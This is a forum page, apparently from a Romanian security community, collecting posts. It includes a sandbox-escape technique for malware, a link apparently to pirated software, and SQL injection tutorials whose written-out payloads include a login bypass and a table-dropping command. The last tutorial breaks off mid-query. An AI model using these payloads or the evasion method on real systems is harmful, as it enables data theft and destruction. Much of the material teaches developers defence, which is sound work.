Leaderboard
Popular Content
Showing content with the highest reputation on 09/27/14 in all areas
-
Pwnthecode este o platform? educa?ional? care are ca scop dezvoltarea, responsabilizarea ?i antrenarea pasiona?ilor de securitate. Scopul definit al platformei este s? demonstreze cât de periculoase sunt vulnerabilit??ile web dar ?i s? înve?e utilizatorul despre anumite bre?e de securitate pe care acesta, ulterior, va înv??a s? le repare în vederea îmbun?t??irii securit??ii pe pia?a IT. Platforma se adreseaz? în special celor mai pu?in specializa?i în domeniul IT ?i celor care de?in un website sau care activeaz? în domeniul web. Link: Pwnthecode | Proiect despre Securitatea Web Momentan platforma este la la versiunea BETA, urmând ca în scurt timp s? ad?ugam atât un numar mare de tutoriale pentru vulnerabilit??ile existente (în cadrul platformei) cât ?i câteva tipuri de vulnerabilit??i noi. De asemenea, vom mai ad?uga/modifica examene. User control panelul este în dezvoltare deci este posibil s? întâmpina?i unele probleme. Orice fel de problem? v? rog s? mi-o trimite?i prin PM mie sau lui @danyweb09. Cei care dorest s? sus?in? proiectul pot face o dona?ie (g?si?i pe site mai multe detalii). Dac? cineva doreste s? doneze prin alt? metod? decât PayPal, s? imi trimit? PM. Orice sugestie este bine-venit?!3 points
-
Salut RST, Impreuna cu @Maximus am realizat proiectul Chill-Tv. Se stie deja despre ce este vorba. Am vrut sa fim mai "unici" si nu am pus posturile pe site, totul este intr-o aplicatie, am ales asta pentru ca e mult mai rapid, fara errori si alte probleme (Internet Explorer, Sopcat si etc..) Tot programul e pus intr-un installer, el instaleaza absolut tot ce e nevoie pentru vizionarea posturilor TV & Radio. Programul ruleaza fara probleme pe orice sistem de operare de tip Windows, a fost facut si un mic tutorial pentru install ( XP & 7 ). Am creat si un script php pentru statistici live, fiecare client ce asculta/la ce se uita. Despre site, am dorit unu cat mai simplu, am cautat un templar cat mai simplu posibil. Website: Chill-Tv | Tv Online Download: http://chill-tv.org/download.php Veti gasi si cateva screenshot-uri de la program. Va rog, daca se poate, sa ne spuneti parerea voastra despre site/aplicatie fi e buna sau rea! Multumesc anticipat. -------------------------------------------------------------------------------------------------------------- Suntem in cautare de persoane care sa ne ajute sa ducem proiectul inainte. Cine este interesat este rugat sa-mi trimita un PM Avem nevoie de: Persoane pentru a ne ajuta cu sursele canalelor! Totul sa fie facut voluntar, nu platim absolut pe nimeni cum si nimeni nu ne plateste pe noi pentru munca depusa!1 point
-
@verdelemeu uite ca si tu ai "calcat stramb"1 point
-
Introduction I was pretty bored today and couldn't think of an article to write, decided I'd come up with an example of escaping a sandbox. Most sandboxes use hooks placed within user-mode dlls in order to monitor process activity. If someone was able to remove or bypass these hooks, they would be able to escape the sandbox. A common method used by advanced malware is to write a custom implementation of "LoadLibrary" / "LdrLoadDll". Using this code they can manually map a new, clean, copy of a dll and use it to evade hooks. Because of the nature of PE files, it is generally quite complex to do this and required a good understanding of PE files and the PE loader. As it happens, there is currently no working, easy to find, code to do this on Google, so such methods are not seen is script-kiddie malware and I'd like to keep it that way. Instead I will be showing a nice little hack that works in a similar way, however will be fairly easy for sandbox developers to deal with. How It Works When i was thinking of which way to attack the sandbox, I thought it would be amusing (at least for me) to use hooks to facilitate the escape, I managed to do it using a single hook: "RtlEqualUnicodeString". First, if we look at the call path for "LoadLibrary" we will see it eventually ends up at "LdrLoadDll" which internally calls "LdrpLoadDll". Inside "LdrpLoadDll" is a call to LdrpCheckForLoadedDll, this function is responsible for iterating through the list of currently loaded dlls ("PEB_LDR_DATA->InMemoryOrderModuleList") and checking that the target dll isn't already loaded. A snippet from LdrpCheckForLoadedDll By hooking "RtlEqualUnicodeString" or "RtlCompareUnicodeString", which is called internally by "RtlEqualUnicodeString", we can trick LdrpLoadDll into loading an already loaded dll. Because of the way "GetModuleHandle" works, any subsequent calls will return a handle to the original dll and not our new one. Now that we can trick the loader into loading new dlls, we can load a new copy of ntdll which will not be hooked. Using the address returned by "LdrLoadDll", we can call "GetProcAddress" to get a pointer to "RtlCreateUserProcess" within the new dll. Now we can create a new process whilst bypassing any hooks to catch new process creation. Prevention This method can easily be prevented by using a hook within LdrLoadDll. Each time LdrLoadDll is called, check if the name is that of a module we need to hook, if it is, call the original LdrLoadDll, then pass the address returned to the hooking function. Remember, we cannot use GetModuleHandle or equivalent. An Example Example Code Malwr Analysis - No Escape Malwr Analysis - Escape Process with 2 copies of ntdll loaded Sursa: MalwareTech: Fighting Hooks With Hooks - Sandbox Escape1 point
-
he developers of one of the most advance open source operating system for penetration testing, 'KALI Linux' have announced yesterday the release of a new Kali project, known as NetHunter, that runs on a Google Nexus device. Kali Linux is an open source Debian-based operating system for penetration testing and forensics, which is maintained and funded by Offensive Security, a provider of world-class information security training and penetration testing services. It comes wrapped with a collection of penetration testing and network monitoring tools used for testing of software privacy and security. After making its influence in hacker and security circles, Kali Linux has now been published with Kali Nethunter, a version of the security suite for Android devices. The tool is a mobile distribution designed to compromise systems via USB when installed and run on an Android phone. Kali Linux NetHunter project provides much of the power to Nexus users, those running the NetHunter penetration testing platform can now launch attacks including Teensy keyboard via HID style attacks and BadUSB man-in-the-middle (MITM) networking attacks via USB human interface device (HID), wireless 802.11 frame injection, and could setup evil access points in a single click. Nethunter is currently available for Nexus devices only, but builds for other Android devices are likely on the way. Nethunter contained a full Kali Linux toolset, including support for self destruction, software defined radio and the ability to launch a Kali desktop VNC session on Nexus phone. The tools are designed for use by an attacker who has physical access to a device — an insider threat — or someone who gains access through social engineering, tailing etc. On one hand, Teensy Keyboard attacks on PCs can be used to automatically elevate privileges on a Windows PC and install a reverse-HTTP tunnel to a remote workstation. On the other hand, BadUSB can force a Windows PC to recognize the USB-connected phone as a network adapter and re-route all the traffic of the PC through it for monitoring purposes. Additionally, the Kali NetHunter configuration interface helps users to easily manage complex configuration files through a local web interface, which together with 802.11 wireless injection and a pre-configured connect VPN service make it a “formidable network security tool or discrete drop box – with Kali Linux at the tip of your fingers wherever you are.” Kali NetHunter open source security platform supports Nexus 10 and 7 tablets and Nexus 5 phones built on the existing Kali (formerly Backtrack) Linux platform. The official Kali NetHunter images can be downloaded from the Offensive Security NetHunter download page. Source1 point
-
Users might have praised the technology companies for efforts to encrypt their latest devices that would prevent law enforcement agencies’ hands on users’ private data, but the FBI is not at all happy with Apple and Google right now. The Federal Bureau of Investigation director, James Comey, said Thursday he was "very concerned" over Apple and Google using stronger or full encryption in their Smartphones and Tablets that makes it impossible for law enforcement to collar criminals. According to Comey, the Silicon Valley tech giants are "marketing something expressly to allow people to place themselves above the law." Comey told reporters. The move is in the response to the revelations of mass surveillance conducted by the US National Security Agency (NSA), revealed by former contractor Edward Snowden, that triggered a large-scale movement worldwide towards deploying encryption across all the Digital Services. The FBI remarks come following both privacy changes introduced by Apple as well as Google. Just last week, Google announced it would be providing data encryption by default with its next version of Android i.e. Android L. While Apple with the release of iOS 8 earlier this month, allowed iPhone and iPad users to encrypt most personal data with a password. Also last week, the company introduced enhanced encryption for iOS 8 devices under which it will no longer store the encryption keys for devices in iOS 8, making it impossible for the company to decrypt a locked device, even on law enforcement request. Google’s announcement for by default encryption comes a day after Apple revealed that it is expanding its two-factor authentication process to include the iCloud storage system, which was recently targeted by hackers to extract over 100 nude celebrities photos. Comey said he agreed-upon the privacy concerns in the wake of NSA leaker Edward Snowden's revelations about massive US government surveillance. But he also noted that the FBI sometimes has an urgent need to access users’ data, such as in cases of terrorism or kidnappings. Despite criticism from the FBI, it's improbable that Apple or Google is going to step back from their efforts, because the technology companies again will not compromise with their reputation in the market where many are criticised in past to put backdoors in their products for law enforcement agencies. Surs?: http://thehackernews.com/2014/09/FBI-iPhone-android-full-encryption.html1 point
-
Am testat si functioneaza link: 34xk8C0jwyGfMsHn7WhfL2weLmpV9CpT7mkf0m1i32rcu0dV=yl4M2pV8Wrk7n5fvjAgvCkivTqmKjwdNj0jvD0lOz0e34xd7A// (E-46) From VCL Examples: Serial Key Generator is application specially designed for software developers to help protect your applications by serial key registration. Just in a few clicks you are able to generate serial keys and to implement them inside your C# .NET, Visual Basic .NET, Delphi, C++ Builder and Java applications. It is the fastest & easiest tool to use with the lowest price on the market! Try it! Features Generate serial keys using custom number of columns and characters per column. Serial keys can contain uppercase and/or lowercase charactes and/or numbers. Generate up to 2 million serial keys in one turn (1 million with 32 bit version of SKG). Export serial keys to CSV, TXT documents. Import serial keys from CSV, TXT documents. Export serial keys to MySQL and MS SQL databases (SQL Query generator). Export serial keys to encrypted registration files (SHA-512). Update encrypted registration files (add new serial keys, delete or validate existing serial keys). Source code generator for encrypted registration files supporting C#.NET, Visual Basic .NET, C++ Builder, Delphi and Java applications. TRegistrationFile and TMSSQLRegistration components for Delphi & C++ Builder. Validate, add and delete serial keys from MS SQL server. Documentation and example projects for VB .NET, C# .NET, C++ Builder, Delphi and Java. No external dll's needed! Lifetime free upgrades!1 point
-
Nu, de pe mai multe site-uri, avem si noi cateva canale la care facem stream1 point
-
Intoducere Pe masur? ce numarul vulnerabilit??ilor de securitate ?i a încerc?rilor de a le exploata cresc, programatorilor li se cere s? trateze cu responsabilitate marit? securitatea aplica?iilor pe care le dezvolt?, la rândul lor dezvoltatorii mediilor de programare includ în platformele lor instrumente din ce în ce mai robuste. ?i totu?i to?i dezvoltatorii cad de acord c? cel mai efectiv mod de a proteja aplica?ia ?i de a preveni atacurile rau inten?ionate asupra sa, este de a proiecta ?i a implementa securitate programului din start. Din p?cate, echipelor de dezvoltare, de obicei le lipsesc antrenamentul necesar ?i resursele pentru a lua o decizie satisfacatoare asupra proiect?rii securita?ii aplica?iei. A?a cum dezvoltatorii sunt cei asupra c?rora cade povara de avea grija de rezisten?a la atacuri a unui program, prima vulnerabilitate a aplica?iilor web despre care înva??, este o form? deosebit de periculoas? a înser?rilor de comenzi: înser?rile SQL( SQL injections). Inser?rile de comenzi sunt un nume generic dat tuturor vulnerabilita?ilor care permit unui atacator s? specifice serverul o comand?, prin introducerea unui input care altereaz? comenzile normal acceptate ?i provoac? aplica?ia web s? se comporte într-un mod nedorit. Pentru c? sunt cele mai cunoscute SQL injection sunt atacurile cele mai frecvente, cele mai periculoase ?i omniprezente. Din fericire acest tip de atac poate fi înl?turat cu u?urin?? în momentul în care se in?elege cu adevarat problema. Din fericire, pentru a veni în întâmpinarea programatorilor, noua tehnologie de acces la baza de date oferit? de Microsoft, propune dezvoltatorilor pe platforma .NET oportunitatea elimin?rii vulnerabilit??ilor de tip SQL injection, atunci când technologia este utilizat? corespunz?tor. Tehnologia este LINQ (Language Integrated Query) ?i este parte integrant? din .NET Framework 3.5. Vedere de ansamblu SQL injection este un tip de vulnerabiltate a securita?ii unei aplica?ii web în care un atacator ofer? date mali?ioase programului, provocându-l s? execute pe server comenzi SQL nea?teptate. De?i acest tip de atac este destul de u?or de prevenit, el este pe cât de r?spîndit, pe atât de fatal, pentru c? permite atacatorilor s? execute comenzi nedorite direct pe baza de date cu care se lucreaz?. În cazuri extreme atacatorii pot nu numai s? ob?in? acces la toate informa?iile din baza de date, ci s? o ?i poat? modifica, ?terge sau ad?uga tabele ?i baze de date sau chiar s? capete controlul asupra serverului de baze de date. Dac? acest tip de atacuri este u?or de prevenit, de ce este atât de periculos? P?i în primul rând, baza de date a unei aplica?ii este o ?int? foarte atractiv? din motive evidente ?i prezint? un interes deosebit pentru atacatori. Un r?u inten?ionat poate detecta ?i exploata cu u?urin?? o aplica?ie web vulnerabil? la acest tip de atacuri. De aceea este evident, c? de?i gre?elile de tratare a SQL injections nu sunt cele mai frecvente din parte dezvoltatorilor, ele sunt cele mai des descoperite ?i exploatate cele mai frecvent. Un mod u?or de a detecta o vulnerabilitate la atacuri de tip SQL injection este de a insera un meta character intr-o secven?? de caractere despre care se ?tie c? va fi utilizat? pentru a crea o comand? care va incerca s? acceseze baza de date. De exemplu, pe orice site care are un câmp de input, un atacator ar putea introduce un meta caracter, ca de exemplu apostroful (') într-un câmp de cautare, s? dea “Search” pentru a provoca executare comenzii. Dac? aplica?ia întoarce un mesaj de eroare, atacatorul nu numai c? ?tie c? a g?sit o aplica?ie vulnerabil?, dar mai poate impune serverul s? execute ?i alte comenzi mali?ioase. Un expert în probleme de securitate, Michael Sutton, a exemplificat recent u?urin?a cu care se pot descoperi aplica?iile web vulnerabile la SQL injection prin identificarea a sute de siteuri poten?ial vulnerabile în câteva minute, prin utilizarea Google API. Anatomia SQL injection Vom incerca, cu ajutorul unui exemplu, s? exemplific?m cât de u?or este s? se fac? gre?elile care pot duce la vulnerabilitatea unei aplica?ii fa?? de atacurile de tip SQL injections ?i cât de u?or pot fi prevenite cu ceva aten?ie atras? proiect?rii ?i program?rii aceluia?i program. Aplica?ia web aleas? con?ine o pagin? simpl? de cautare a unui client, care este vulnerabil? la SQL injection. Pagina con?ine un textbox CompanyName ?i un datagrid, pentru a afi?a rezultatele ob?inute în urma c?ut?rii prin baza de date oferita de Microsoft ca exemplu: Northwind. Interogarea executat? în timpul caut?rii include o gre?eal? foarte frecvent întâlnit? în proiectarea aplica?iei ?i anume creaz? dinamic o comanda SQL din textul introdus de c?tre utilizator. Aceast? este gre?eala cardinal? în crearea aplica?iei, pentru c?, implicit se are încredere în datele introduse de utilizator ?i sunt trimise direct c?tre baza de date. Interogarea arat? a?a atunci când este ini?iat? de evenimentul ap?s?rii butonului Search: protected void btnSearch_Click(object sender, EventArgs e) { String cmd = "SELECT [CustomerID], [CompanyName], [ContactName] FROM [Customers] WHERE CompanyName ='" + txtCompanyName.Text + "'"; SqlDataSource1.SelectCommand = cmd; GridView1.Visible = true; } In scenariul prec?utat, dac? utilizatorul introduce de exemplu “Ernst Handel” ca pe numele unei companii, ap?sarea butonului Search, va genera, a?a cum se asteapta, înregistrarile pentru aceasta companie. Dar un atacator ar putea manipula lejer acest mod de crearea dinamic? a interog?rilor, de exemplu prin inserarea unui clauze UNION ?i încheierea secven?ei prin comentarii (--). Cu alte cuvinte, în loc de a introduce “Ernst Handel”, atacatorul introduce: Ernst Handel' UNION SELECT CustomerID, ShipName, ShipAddress FROM ORDERS— Ca rezultat, comanda SQL ce se execut? pe server adaug? cererea atacatorului ?i o transform? dinamic, s? arate a?a: SELECT [CustomerID], [CompanyName], [ContactName] FROM [Customers] WHERE CompanyName ='Ernst Handel' UNION SELECT CustomerID, ShipName, ShipAddress FROM ORDERS--' Astfel se ob?ine o comand? SQL perfect legal?, care se va executa asupra bazei de date a aplica?iei, returnând to?i consumatorii din tabelul Orders, care au facut comenzi. Rezultatul se poate vedea în figura al?turat? Metode tipice de evitare SQL injection Mai sus am observat cât de simplu putem crea ?i exploata vulnerabilit??ile de tip SQL injection într-un program construit prost. Din fericire, a?a cum am men?ionat anterior SQL injections pot fi prevenite u?or urmând câteva m?suri de precau?ie. Cea mai utilizat? ?i mai pu?in costisoare ca timp, este s? se valideze inputul acceptat de la utilizator în mod corespunz?tor, atunci când sunt transformate în comenzi ce o s? acceseze baza de date. Orice date de intrare introduse de c?tre clien?i, fie direct prin în aplica?ia web sau stocate deja, trebuie s? fie validate dupa tipul serverului, lungime sau format, înainte de a trimise mai departe. Din nefericire, aceste m?suri bazate pe codul surs? nu sunt imbatabile ?i pot e?ua atunci când: Modul de validare nu este definit corespunz?tor. Validarea se execut? numai la nivelul clientului. Validarea nu ia în calcul m?car un singur câmp al aplica?iei. Un nivel în plus de prevenire SQL injections, implic? parametrizarea corect? a tuturor interog?rilor SQL din aplica?ie, fie c? e vorba de comenzi SQL dinamice sau proceduri stocate. De exemplu codul ar fi fost sigur, dac? interog?rile ar fi fost structurate în felul urm?tor: SELECT [CustomerID], [CompanyName], [ContactName] FROM [Customers] WHERE CompanyName = @CompanyName Interog?rile parametrizate trateaz? datele introduse ca pe ni?te valori facând parte din comenzile SQL, în acest fel facând imposibil ca serverul s? trateze iterog?rile parametrizate ca ?i cod executabil. Chiar dac? se utilizeaz? procedurile stocate, parametrizarea inputului este necesar?, pentru c? procedurile stocate nu ofer? protec?ie împotriva SQL injections peste interog?rile încorporate în procedur?. Chiar ?i cu aceste trat?ri simple, inserarea codului SQL este în continuare o mare problem?. De aceea într-o echip? de programatori educarea fiecarui membru asupra acestor tipuri de vulnerabilit??i, elaborarea standartelor de securitate pentru a a preveni atacurile ?i aplicarea standartelor ?i stabilirea regulii ca s? nu scape nimic valid?rii, este o necesitate. Acesta implic? introducerea multor variabile în efortul pentru securizarea aplica?iei, a?a c? ar fi mai productiv dac? s-ar selecta o tehnologie de acces la baza de date care face SQL injections imposibile. Printre ele se num?r? ?i LINQ. Vedere general? asupra LINQ În esen?? LINQ introduce un standard de tratare a tuturor interogarilor ?i opera?iilor de actualizare a datelor, indiferent de tipul de stocare a datelor: baze de date SQL, documente XML, obiecte .NET. atunci cand sunt construite aplica?ii care s? lucreze cu bazele de datate, componenta LINQ care permite programatorilor s? trateze datele rela?ionate ca ?i obiecte C# sau VB, este cunoscut? ca “LINQ to SQL”, care este considerat? ca parte din familia tehnologiilor ADO.NET. Atunci când a fost introdus? ini?ial a purtat numele de DLINQ. “LINQ to SQL” permite tratarea datelor din aplica?ii ca obiecte native în limbajul folosit, abstractizând complexitatea managementului bazei de date ?i a conexiunilor din baza de date. De fapt, cu ajutorul LINQ, se pot afi?a ?i manipula date din baza de date, f?r? a scrie o singur? comanda SQL. La compilare, “LINQ to SQL” va traduce interog?rile integrate în cod, în SQL ?i le va executa asupra bazei de date. “LINQ to SQL” întoarce rezultatul interog?rii sub form? de obiecte, abstractizând complet interac?iunea cu baza de date ?i SQL. Nu exist? mod mai rapid de elimiare a amenin?arii cu SQL injection, dintr-o aplica?ie, decât a elimina SQL din aplica?ie. Acest lucru se ob?ine cu ajutorul “LINQ to SQL”. Securizarea accesului la date cu ajutorul LINQ “LINQ to SQL” atunci când este utilizat exclusiv pentru accesul la date, elimin? orice posibilitate de a se executa SQL injections în aplica?ie, pentru un motiv foarte simplu: orice interogare SQL pe care o executa LINQ este parametrizabil?. Orice date de intrare oferite din partea oric?ror fel de surse este tratat? ca un literal atunci când LINQ construieste comanda SQL din sintaxa interog?rilor integrat?. ?i mai mult, integrarea LINQ în Visual Studio Orcas asist? programatorii în construirea interog?rilor valide, prin tehnica IntelliSense ?i verificarea sintaxei în timpul compil?rii. Compilatorul detecteaz? multe dintre utiliz?rile eronate ale comenzilor, care ar putea produce defecte sau vulnerabilit??i în func?ionarea aplica?iei. În contrast, comenzile SQL scrise de mân? sunt parsate ?i interpretate asupra bazei de date la execu?ie f?r? ca s? ?tii daca sunt corecte sau nu. Singurul mod de a ataca “LINQ to SQL ” este ca un atacator s? încerce s? p?c?leasca LINQ s? creeze comenzi SQL ilegale sau nedorite. Din feiricire, limbajele ?i compilatoarele sunt proiectate ca sa ne fereasc? de asta. Cu acest lucru stabilit, d?m exemplu în continuare cum se poate implementa exemplu cu cautarea clientului de mai devreme utilizând “LINQ to SQL” pentru a ne proteja de atacuri de tip SQL injection. Primul pas este de crea obiectul model al rela?iilor dintre date în cadrul bazei de date. Visual Studio Orcas are integrat Object Relational Designer( O/R Designer) care permite generarea întregului model pentru baza de date, prin tragerea tabelelor pe suprafa?a de designd ?i definirea rela?iilor. Pentru a crea obiectul model al tabelului Northwind Customers, cre?m un fisier de baze de date “LINQ to SQL” în aplica?ie, prin selectarea “Add New Item..” în cadrul proiectului ?i alegând ?ablonul “LINQ to SQL File”, care deschide O/R Designer. Pentru a construi automat obiectul model complet pentru tabelul Customers, select?m tabelul din Server Explorer ?i îl tragem pe suprafa?a O/R Designer. Dup? aceasta, se adaug? automat un fisier Cusotmer.designer.cs care define?te clasele pe care o sa le utiliz?m, astfel evitând lucrul direct cu baza de date. Dup? definirea claselor obiectului model pentru informa?ia din tabelul Customers, putem interoga datele direct în codul din pagina de cautare a clien?ilor. Metoda Page_Load pentru pagina generata de LINQ ( LINQtoSQL.aspx.cs), instan?iaz? clasa CustomersDataContext creat? de O/R Designer, utilizând acela?i connection string ca ?i acel utilizat mai inainte. Exemplul de mai jos întoarce o colec?ie de obiecte de tip Customer, care sunt corespunz?toare cu rezultatele ob?inute din executarea interog?rii utilizând clauza WHERE: protected void Page_Load(object sender, EventArgs e) { string connectionString = ConfigurationManager.ConnectionStrings ["northwndConnectionString1"].ConnectionString; CustomersDataContext db = new CustomersDataContext(connectionString); GridView1.DataSource = from customer in db.Customers where customer.CompanyName == txtCompanyName.Text orderby customer.CompanyName select customer; GridView1.DataBind(); } Utilizând “LINQ to SQL”, dac? oferim ca valoarea c?utat? “Ernst Handel”, comanda SQL generat? ?i executat? de LINQ este: SELECT [t0].[CustomerID], [t0].[CompanyName], [t0].[ContactName], [t0].[ContactTitle], [t0].[Address], [t0].[City], [t0].[Region], [t0].[PostalCode], [t0].[Country], [t0].[Phone], [t0].[Fax] FROM [dbo].[Customers] AS [t0] WHERE [t0].[CompanyName] = @p0 ORDER BY [t0].[CompanyName]} Dup? cum se poate vedea, clauza WHERE este parametrizat? automat, prin aceasta devenind impenetrabil? la atacurile de tip SQL injection. Indiferent de valorile oferite de c?tre un utilizator, pentru c?utare, interogarea este sigur? ?i nu va permite datelor introduse s? fie executate direct de c?tre server. Dac? am introduce spre c?utarea ?irul de caractere utilizat mai inainte pentru a executa un SQL injection, interogarea nu va întoarce nici un rând. De fapt singura daun? pe care un utlizator ar putea s? o aduc? cu aceasta interogare, este s? execute un atac “brute force”, utilizând func?ia de c?utare, pentru a enumera toate înregistr?rile despre companiile din tabel, prin ghicirea tuturor valorilor posibile. Dar chiar ?i aceasta nu face mai mult decât s? ofere date facute publice deja ?i nu ofer? atacatorului posibiltatea s? insereze comenzi care s? ofere unele drepturi în plus pentru tabele sau baze de date. De la LINQ la securitate Dup? cum au ar?tat exemplele este foarte simplu s? se introduc? vulnerabilit??i de tip SQL injection în cadrul aplica?iilor web ?i nu este mai greu s? fie reparate. Dar nimic nu protejeaz? apriori programatorii de aceste gre?eli simple ?i în acela?i timp periculoase. Totu?i tehnologia “LINQ to SQL” propus? de Microsoft, elimin? posibilitatea de a executa atacuri de tip SQL injection asupra bazei de datate a unei aplica?ii, prin l?sarea programatorilor s? interac?ioneze direct cu obiectele model generate din datele rela?ionale ?i nu cu baza de date propriu-zis?. Infrastructura LINQ, integrat? în C# ?i Visual Basic, preia sarcina de construire a comenzilor SQL valide, prevenind atacurile de tip SQL injections ?i permi?ând programatorilor s? adopte stilul de programare care le este cel mai aproape. De aceea dac? se alege utilizarea “LINQ to SQL” ca o parte a unei noi aplica?ii .NET sau se alege s? se înlocuisc? cea veche, se face un pas spre aplica?ii mai sigure. Source0 points
-
Introducere: Se stie ca astazi majoritatea aplicatiilor-web îsi pastreaza datele în baza de date, deoarece acest fapt permite de a genera dinamic pagini. Aplicatia-web primeste de la utilizatori date, ulterior aceste date sunt folosite de aplicatie/script pentru generarea unei cereri la baza de date. Evident ca în majoritatea cazurilor pentru a genera cereri la baza de date se utilizeaza limbajul SQL (Structured Query Language). SQL Injection este o vulnerabilitate ce apare în cazurile cînd datele primite de la utilizatori nu se prelucreaza corect. Ca consecinta – raufacatorul potential poate schimba cererea la baza de date, asfel fiind posibil furtul datelor private. Aceasta lucrare reflecta tehnicile simple si avansate ce sunt folosite de raufacatori în procesul de exploatare a vulnerabilitatii SQL Injection. Aceste tehnici demonstreaza cum pot fi cu usurinta obtinut continutul bazelor de date, datele private, realizarea atacului DoS, obtinerea privilegiilor maxime etc. Lucrarea e un studiu care este în primul rînd destinat web-programmerilor si expertilor în securitate, pentru a-i atrage atentia la seriozitatea si actualitatea temei abordate. În lucrare ma voi referi mai mul la aplicatiile ce lucreaza cu SGBD MySQL, MS SQL Server, Oracle deoarece acestea sunt cele mai raspîndite. Aceasta nu înseamna ca celelalte SGBD sunt mai securizate. 1. Bazele SQL-injection Pentru a întelege materialul de mai jos este nevoie de a cunoaste cel putin bazele limbajului de interogare SQL si realizarea lucrului cu bazele de date în PHP/ASP. Sa presupunem ca avem o baza de date ce contine relatia (tabelul) users de urmatoarea structura: O interogare ce extrage datele din baza de date poate avea forma: SELECT * FROM users WHERE name = '$name' În acest caz valorile din cîmpul “name” sunt comparate cu valoarea variabilei “$name”. Daca valoarea aceastei variabile a fost obtinuta din parametrii URL sau cookie si nu se prelucreaza la simboluri speciale atunci interogarea la baza de date este vulnerabila. Voi aduce un exemplu simplu cum raufacatorul poate modifica interogarea. Daca variabila $name primeste valoarea su, atunci cerea la baza de date va fi urmatoarea: SELECT * FROM users WHERE name = 'su' Interogarea este corecta. Însa daca valoarea variabilei va primi valoarea aaa' interogarea va deveni incorecta din punct de vedere sintactic, deoarece este prezent un simbol ' în plus: SELECT * FROM users WHERE name = 'aaa'' Simbolul ' permite de a modifica cererea la baza de date, si nu este unicul simbol ce permite acest lucru (dupa cum veti vedea mai jos). Sa presupunem ca cerea de mai sus o foloseste o aplicatie web pentru a afisa datele private a utilizatorului curent logat. Utilizînd simbolul ' raufacatorul cu usurinta poate vedea datele private a tuturor utilizatorilor înregistrati, transmitînd una din urmatoarele valori pentru parametrul $name (presupunem ca în sistem sunt înregistrati utilizatorii admin, su si lma0): random_data' OR name='admin random_data' OR name='su random_data' OR name='lma0 Cererile SQL la baza de date vor fi: SELECT * FROM users WHERE name='random_data' OR name='admin' SELECT * FROM users WHERE name='random_data' OR name='su' SELECT * FROM users WHERE name='random_data' OR name='lma0' Înjectarea permite de a extrage datele private a unui utilizator. Raufacatorul la dorinta poate sa obtina datele despre toti utilizatorii transmitind parametrului $name valoarea: random_data' OR '1'='1 Cererea cu codul injectat: SELECT * FROM users WHERE name='random_data' OR '1'='1' va întoarce toate tuplurile (înregistrarile) din tabelul users. 2. Proceduri de testare a aplicatiilor web la SQL-injection Procedurile de testare a aplicatiilor web la SQL-injection se reduc la formarea unei liste de parametri cu care lucreaza aplicatia (atît parametrii GET cît si POST), incluzînd si parametrii cookie. Apoi acesti parametri se testeaza individual la prelucrarea simbolurilor speciale sau a cuvintelor cheie (de genul WHERE) care ar ajuta la exploatarea vulnerabilitatii. 2.1. Identificarea parametrilor vulnerabili Sa presupunem ca aplicatia-web este configurata astfel, încît în cazul aparitiei unei erori SQL, în browser va apare textul erorii si posibil o portiune din interogare. Daca raufacatorului i se afiseaza chiar si o portiune de interogare, injectarea codului SQL malicios nu va fi o problema. Presupunem ca aplicatiei-web i s-a transmis un parametru GET id=aaa': http://127.0.0.1/inj.asp?id=aaa' Pentru a determina daca parametrul este vulnerabil este nevoie de a cauta în pagina returnata de server a frazelor de genul “ODBC”, “have an error”, “SQL syntax”, “SQL Server”, “MySQL”, “Oracle” etc. Exista cazuri cînd erorile returnate de server se plaseaza în parametrii ascunsi (hidden input, headers) sau comentarii. În acest caz raufacatorului îi este foarte usor de a injecta un cod SQL malicios: http://127.0.0.1/inj.asp?id=aaa';+drop+table+users;-- Ar trebui de mentionat ca nu toate SGBD permit concatenarea interogarilor la baza de date. Este foarte raspîndita situatia, cînd din textul erorii returnate de server poate fi aflat tipul bazei de date pe care o foloseste aplicatia-web: Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in ... Textul erorii de mai sus este foarte util raufacatorului la formarea codului SQL malicios specific unui tip de SGBD. 2.2. Identificarea parametrilor vulnerabili în cazurile cînd nu se afiseaza erorile Sa presupunem ca erorile ce apar în cazurile cererilor la baza de date nu se afiseaza. Atunci raufacatorului îi ramine posibilitatea de a determina prezenta vulnerabilitatii dupa comportamentul aplicatiei-web. Cu o mare probabilitate se poate de spus ca parametrul este vulnerabil cînd serverul returneaza erorile 302 (page redirect) si 500 (internal server error). În acest caz raufacatorul va utiliza unele tehnici mai avansate. Pentru a le întelege este nevoie de a cunoaste tipurile de baza SQL. Atributele în SQL pot avea unul din cele 3 tipuri de baza: numerici, sir de caractere sau datetime. Fiecare tip are caracteristicile sale specifice care pot ajuta raufacatorul în procesul de exploatare a vulnerabilitatii. În SQL parametrii numerici se transmit asa cum sunt, iar sirurile de caractere si valorile datetime sunt transmise între ghilimele (unele SGBD permit transmiterea si a valorilor numerice între ghilimele): SELECT * FROM users WHERE id=5 /* valoare numerica */ SELECT * FROM users WHERE name='admin' /* valoare sir de caractere*/ Testarea la SQL Injection a parametrilor numerici este foarte simpla. Voi aduce un exemplu cu 2 cazuri posibile: http://127.0.0.1/inj.php?id=5' http://127.0.0.1/inj.php?id=6-1 http://127.0.0.1/inj.php?id=4+1 Daca parametrul id este vulnerabil în primul caz va fi generata o eroare SQL (sau o exceptie: error 302, 500 – cînd erorile SGBD nu se afiseaza) deoarece cererea: /* 1 */ SELECT * FROM users WHERE id=5' nu este corecta din punct de vedere sintactic. Cererile 2a si 2b: /* 2a */ SELECT * FROM users WHERE id=6-1 /* 2b */ SELECT * FROM users WHERE id=4+1 se for executa corect si vor da ambele acelasi rezultat (vor extrage tuplul din baza de date cu valoarea variabilei id=5), indicînd la 100% ca parametrul numeric id este vulnerabil. O tehnica similara se foloseste la testarea parametrilor sir caractere cu exceptia unor diferente: valorile parametrilor se transmit între ghilimele si concatenarea sirurilor de caractere în diferite SGBD este realizata diferit (MySQL si MSSQL Server foloseste semnul +, iar Oracle – semnul ||). Caracteristicele specifice a unor sau altor SGBD vor fi expuse mai jos. Procedura de testare a parametrului name: http://127.0.0.1/inj.php?name=lma0 are deasemenea 2 cazuri posibile. În primul caz se parametrului i se transmite o valoare care o sa genereze eroare SQL: http://127.0.0.1/inj.php?name=lm'a0 Cererea SQL ce va genera eroare: /* 1 */ SELECT * FROM users WHERE name='lm'a0' deoarece este prezent un simbol ' în plus. Într-al doilea caz parametrului i se transmite o valoare ce ar indica vulnerabilitatea acestuia: http://127.0.0.1/inj.php?name=l'+'ma0 http://127.0.0.1/inj.php?name=lm'+'a0 Ca rezultat vor fi formate urmatoarele cereri la baza de date: /* 2a */ SELECT * FROM users WHERE name='l'+'ma0' /* 2b */ SELECT * FROM users 